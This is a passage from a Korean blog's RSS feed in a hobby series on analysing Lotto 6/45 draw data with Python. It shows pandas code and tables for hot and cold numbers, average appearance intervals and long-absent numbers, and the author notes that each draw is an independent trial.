&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;핫넘버/콜드넘버의 변화&lt;/li&gt;
&lt;li&gt;이동평균으로 트렌드 발견&lt;/li&gt;
&lt;li&gt;장기 미출현 번호의 귀환&lt;/li&gt;
&lt;li&gt;시계열 차트로 번호의 흐름 시각화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미리보기:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# 최근 50회 핫넘버
def recent_hot_numbers(self, window=50):
    recent_df = self.numbers_df.tail(window)
    all_nums = []
    for _, row in recent_df.iterrows():
        all_nums.extend(row['당첨번호'])

    counter = Counter(all_nums)
    return counter.most_common(10)

# 결과: 최근 50회 핫넘버는 3, 7, 16, 27, 39번!&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/194&quot;&gt;1편 - 첫 줄의 코드, 605회의 시작&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/192&quot;&gt;3편 - 시간은 흐르고, 데이터는 남고&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;숫자가 말을 걸었다. 그리고 나는 귀를 기울였다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6-7이 15번 나온 건 우연이 아니었다. 연속 번호는 56%의 회차에서 출현했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복권 용지를 보다가 깨달았다. 숫자가 아니라 &lt;b&gt;위치&lt;/b&gt;였다. 7x7 그리드 위에서 중간 영역이 모서리보다 76% 더 많이 나왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;604개의 복권 용지 이미지를 만들면서, 패턴이 눈에 보이기 시작했다. 모서리 4개가 모두 당첨된 회차는 단 한 번도 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자는 계속 말을 걸고 있다. 이제 시간 축을 따라 숫자의 흐름을 보려고 한다. 핫넘버는 영원할까? 콜드넘버는 돌아올까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서 시간의 패턴을 발견해보자.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#연속번호분석 #그리드패턴 #로또복권용지 #PIL이미지생성 #공간통계분석 #맨해튼거리 #NumPy활용 #데이터시각화 #패턴인식 #Python이미지처리&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연속번호, 그리드패턴, 7x7그리드, 복권용지, PIL, 이미지생성, 맨해튼거리, 공간통계, 구역분석, 중간영역, 모서리번호, 군집도분석&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (2/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>7x7그리드</category>
      <category>PIL</category>
      <category>공간통계</category>
      <category>구역분석</category>
      <category>그리드패턴</category>
      <category>맨해튼거리</category>
      <category>복권용지</category>
      <category>연속번호</category>
      <category>이미지생성</category>
      <category>중간영역</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/193</guid>
      <comments>https://thepin.tistory.com/193#entry193comment</comments>
      <pubDate>Sun, 11 Jan 2026 12:27:34 +0900</pubDate>
    </item>
    <item>
      <title>Episode 3: 시간은 흐르고, 데이터는 남고 (Time Flows, Data Remains)</title>
      <link>https://thepin.tistory.com/192</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI 및 퍼플렛시티를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;h1&gt;&lt;b&gt;Episode 3: 시간은 흐르고, 데이터는 남고 (Time Flows, Data Remains)&lt;/b&gt;&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시계열 분석으로 트렌드 찾기&lt;/b&gt;: 핫넘버, 콜드넘버, 이동평균의 활용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3번이 10번 나왔다. 그리고 44번은 24회 동안 안 나왔다. 숫자는 시간 속에서 말을 걸기 시작했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.shields.io/badge/Python-3.8+-blue.svg&quot; alt=&quot;Python&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/Pandas-2.0-orange.svg&quot; alt=&quot;Pandas&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/Matplotlib-3.7-green.svg&quot; alt=&quot;Matplotlib&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026-01-10 &lt;b&gt;난이도&lt;/b&gt;: ⭐⭐⭐☆☆ &lt;b&gt;예상 소요 시간&lt;/b&gt;: 3-4시간. &lt;b&gt;버전&lt;/b&gt;: v2.0&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;766&quot;&gt;&lt;a href=&quot;https://lo645251227.streamlit.app/&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9UFVp/dJMcahQFvH9/TklOmceGgU6HbGpkA95Hz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9UFVp%2FdJMcahQFvH9%2FTklOmceGgU6HbGpkA95Hz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1926&quot; height=&quot;766&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 통계 분석을 마치고, 연속 번호와 그리드 패턴을 발견한 후...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;숫자는 시간 속에서 어떻게 흐를까?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또는 독립 시행이다. 이번 주 당첨번호가 다음 주에 영향을 미치지 않는다. 확률론적으로는 매번 1/45의 확률로 똑같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;최근 50회에서 3번이 10번 나왔다면?&quot;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&quot;44번이 24회 동안 한 번도 안 나왔다면?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 단순한 우연일까, 아니면 패턴일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독립 시행이라는 건 알지만, 605회차의 시간 축을 따라가면서 &lt;b&gt;트렌드&lt;/b&gt;를 보고 싶었다. 숫자가 시간 속에서 어떻게 변하는지, 핫했던 번호가 콜드해지는 순간을 포착하고 싶었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시계열 분석(Time Series Analysis)의 문을 열었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  핫넘버와 콜드넘버의 발견&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;최근 50회 vs 전체 605회&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핫넘버(Hot Number)와 콜드넘버(Cold Number)는 시간 윈도우(Time Window)에 따라 달라진다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def recent_hot_cold_numbers(self, window=50):
    &quot;&quot;&quot;최근 N회 핫넘버/콜드넘버 분석&quot;&quot;&quot;
    recent_df = self.numbers_df.tail(window)
    all_nums = []

    for _, row in recent_df.iterrows():
        all_nums.extend(row['당첨번호'])

    from collections import Counter
    counter = Counter(all_nums)

    # 핫넘버 TOP 10
    hot_numbers = counter.most_common(10)

    # 콜드넘버 (출현 적은 번호)
    all_45_numbers = {i: 0 for i in range(1, 46)}
    all_45_numbers.update(counter)

    cold_numbers = sorted(all_45_numbers.items(), key=lambda x: x[1])[:10]

    return hot_numbers, cold_numbers&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;605회차 전체 분석 결과:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;출현 횟수&lt;/th&gt;
&lt;th&gt;출현율(%)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;12&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;97회&lt;/td&gt;
&lt;td&gt;16.09%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;33&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;96회&lt;/td&gt;
&lt;td&gt;15.92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;21&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;94회&lt;/td&gt;
&lt;td&gt;15.59%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;94회&lt;/td&gt;
&lt;td&gt;15.59%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;6, 7, 38&lt;/td&gt;
&lt;td&gt;92회&lt;/td&gt;
&lt;td&gt;15.26%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최근 50회 핫넘버 TOP 5:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;출현 횟수&lt;/th&gt;
&lt;th&gt;출현율(%)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3, 7, 16, 27, 39&lt;/td&gt;
&lt;td&gt;10회&lt;/td&gt;
&lt;td&gt;20.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체 1위인 12번이 최근 50회에서는 TOP 5 밖!&lt;/li&gt;
&lt;li&gt;3번이 최근 50회에서 폭발적 출현 (10회, 20%)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시간에 따라 핫넘버가 바뀐다&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핫넘버/콜드넘버 비교 차트&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1770&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GBf8E/dJMcacohFKs/xJFbWO6zu9k8UhmJ3hCQkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GBf8E/dJMcacohFKs/xJFbWO6zu9k8UhmJ3hCQkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GBf8E/dJMcacohFKs/xJFbWO6zu9k8UhmJ3hCQkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGBf8E%2FdJMcacohFKs%2FxJFbWO6zu9k8UhmJ3hCQkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2084&quot; height=&quot;1770&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1770&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;▲ 핫넘버(Hot Number)와 콜드넘버(Cold Number) 비교 - 최근 50회 vs 100회 vs 전체&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최근 50회 핫넘버: 3, 7, 16, 27, 39&lt;/li&gt;
&lt;li&gt;최근 50회 콜드넘버: 10, 44 (각 3회)&lt;/li&gt;
&lt;li&gt;시간 윈도우에 따라 핫/콜드가 역전됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;⏱️ 출현 간격 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;번호마다 고유한 리듬이 있다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 번호는 평균적으로 몇 회차마다 나올까?&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def number_appearance_interval(self, number):
    &quot;&quot;&quot;특정 번호의 출현 간격 분석&quot;&quot;&quot;
    appearances = []

    for idx, row in self.numbers_df.iterrows():
        if number in row['당첨번호']:
            appearances.append(idx)

    # 간격 계산
    intervals = []
    for i in range(len(appearances) - 1):
        interval = appearances[i+1] - appearances[i]
        intervals.append(interval)

    if intervals:
        avg_interval = np.mean(intervals)
        std_interval = np.std(intervals)
        min_interval = np.min(intervals)
        max_interval = np.max(intervals)
    else:
        avg_interval = 0
        std_interval = 0
        min_interval = 0
        max_interval = 0

    # 현재 미출현 기간
    last_appearance = appearances[-1] if appearances else -1
    current_round = len(self.numbers_df) - 1
    absence_length = current_round - last_appearance if last_appearance &amp;gt;= 0 else current_round

    return {
        'avg_interval': avg_interval,
        'std_interval': std_interval,
        'min_interval': min_interval,
        'max_interval': max_interval,
        'last_appearance': last_appearance,
        'absence_length': absence_length
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;번호별 평균 출현 간격(Average Interval) TOP 5:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;평균 간격&lt;/th&gt;
&lt;th&gt;표준편차(Std)&lt;/th&gt;
&lt;th&gt;총 출현 횟수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;9.5회&lt;/td&gt;
&lt;td&gt;8.2회&lt;/td&gt;
&lt;td&gt;64회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;8.8회&lt;/td&gt;
&lt;td&gt;7.5회&lt;/td&gt;
&lt;td&gt;69회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;8.7회&lt;/td&gt;
&lt;td&gt;7.9회&lt;/td&gt;
&lt;td&gt;70회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;8.5회&lt;/td&gt;
&lt;td&gt;7.3회&lt;/td&gt;
&lt;td&gt;71회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;8.4회&lt;/td&gt;
&lt;td&gt;7.6회&lt;/td&gt;
&lt;td&gt;72회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;평균 간격이 가장 짧은 번호 TOP 5:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;평균 간격&lt;/th&gt;
&lt;th&gt;총 출현 횟수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;6.2회&lt;/td&gt;
&lt;td&gt;97회 ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;6.3회&lt;/td&gt;
&lt;td&gt;96회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;6.4회&lt;/td&gt;
&lt;td&gt;94회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;6.4회&lt;/td&gt;
&lt;td&gt;94회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;6.6회&lt;/td&gt;
&lt;td&gt;92회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRgR5O/dJMcag5iZS6/aHGslKQU3mgfwKkT7xZs11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRgR5O/dJMcag5iZS6/aHGslKQU3mgfwKkT7xZs11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRgR5O/dJMcag5iZS6/aHGslKQU3mgfwKkT7xZs11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRgR5O%2FdJMcag5iZS6%2FaHGslKQU3mgfwKkT7xZs11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;884&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 번호별 평균 출현 간격(Average Interval) - 짧을수록 자주 출현&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;12번이 가장 짧은 평균 간격&lt;/b&gt; (6.2회마다 1번)&lt;/li&gt;
&lt;li&gt;5번이 가장 긴 평균 간격 (9.5회마다 1번)&lt;/li&gt;
&lt;li&gt;표준편차가 크다 = 출현이 불규칙적&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt; ️ 장기 미출현 번호의 추적&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;44번은 어디로 갔을까?&quot;&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def long_missing_numbers(self, top_n=15):
    &quot;&quot;&quot;장기 미출현 번호 TOP N&quot;&quot;&quot;
    current_round = len(self.numbers_df) - 1
    missing_data = []

    for num in range(1, 46):
        last_appearance = -1

        for idx in range(len(self.numbers_df) - 1, -1, -1):
            if num in self.numbers_df.iloc[idx]['당첨번호']:
                last_appearance = idx
                break

        if last_appearance &amp;gt;= 0:
            absence = current_round - last_appearance
            round_num = self.numbers_df.iloc[last_appearance]['회차']
            missing_data.append((num, absence, round_num))

    # 정렬 (미출현 기간 긴 순)
    missing_data.sort(key=lambda x: x[1], reverse=True)

    return missing_data[:top_n]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장기 미출현 번호 TOP 10:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;미출현 기간(Absence)&lt;/th&gt;
&lt;th&gt;최근 출현 회차&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;44&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;24회차&lt;/td&gt;
&lt;td&gt;1179회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;42&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;16회차&lt;/td&gt;
&lt;td&gt;1187회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;22&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;15회차&lt;/td&gt;
&lt;td&gt;1188회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;14회차&lt;/td&gt;
&lt;td&gt;1189회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;13회차&lt;/td&gt;
&lt;td&gt;1190회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;12회차&lt;/td&gt;
&lt;td&gt;1191회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;11회차&lt;/td&gt;
&lt;td&gt;1192회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;10회차&lt;/td&gt;
&lt;td&gt;1193회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;9회차&lt;/td&gt;
&lt;td&gt;1194회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;8회차&lt;/td&gt;
&lt;td&gt;1195회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z1I8s/dJMcai23iqx/qiDUpHqrFSnGOTPkZKIX0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z1I8s/dJMcai23iqx/qiDUpHqrFSnGOTPkZKIX0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z1I8s/dJMcai23iqx/qiDUpHqrFSnGOTPkZKIX0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz1I8s%2FdJMcai23iqx%2FqiDUpHqrFSnGOTPkZKIX0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;884&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 번호별 미출현 기간(Missing Periods) - 빨간색: 20회 이상, 주황색: 10-20회, 녹색: 10회 미만&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;심리적 질문:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;44번은 24회 동안 안 나왔다. &lt;b&gt;&quot;이제 나올 때가 됐다&quot;&lt;/b&gt;고 생각할까?&lt;/li&gt;
&lt;li&gt;확률론적으로는 여전히 1/45이다.&lt;/li&gt;
&lt;li&gt;하지만 인간의 심리는 &lt;b&gt;&quot;평균 회귀(Mean Reversion)&quot;&lt;/b&gt;를 기대한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;통계적 분석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 미출현 기간: 약 7.5회&lt;/li&gt;
&lt;li&gt;최대 미출현 기간: 44번 (24회)&lt;/li&gt;
&lt;li&gt;표준편차: 4.2회&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 24회는 평균에서 약 &lt;b&gt;4 표준편차&lt;/b&gt; 떨어진 극단값!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  이동 평균 트렌드 분석&lt;/h2&gt;
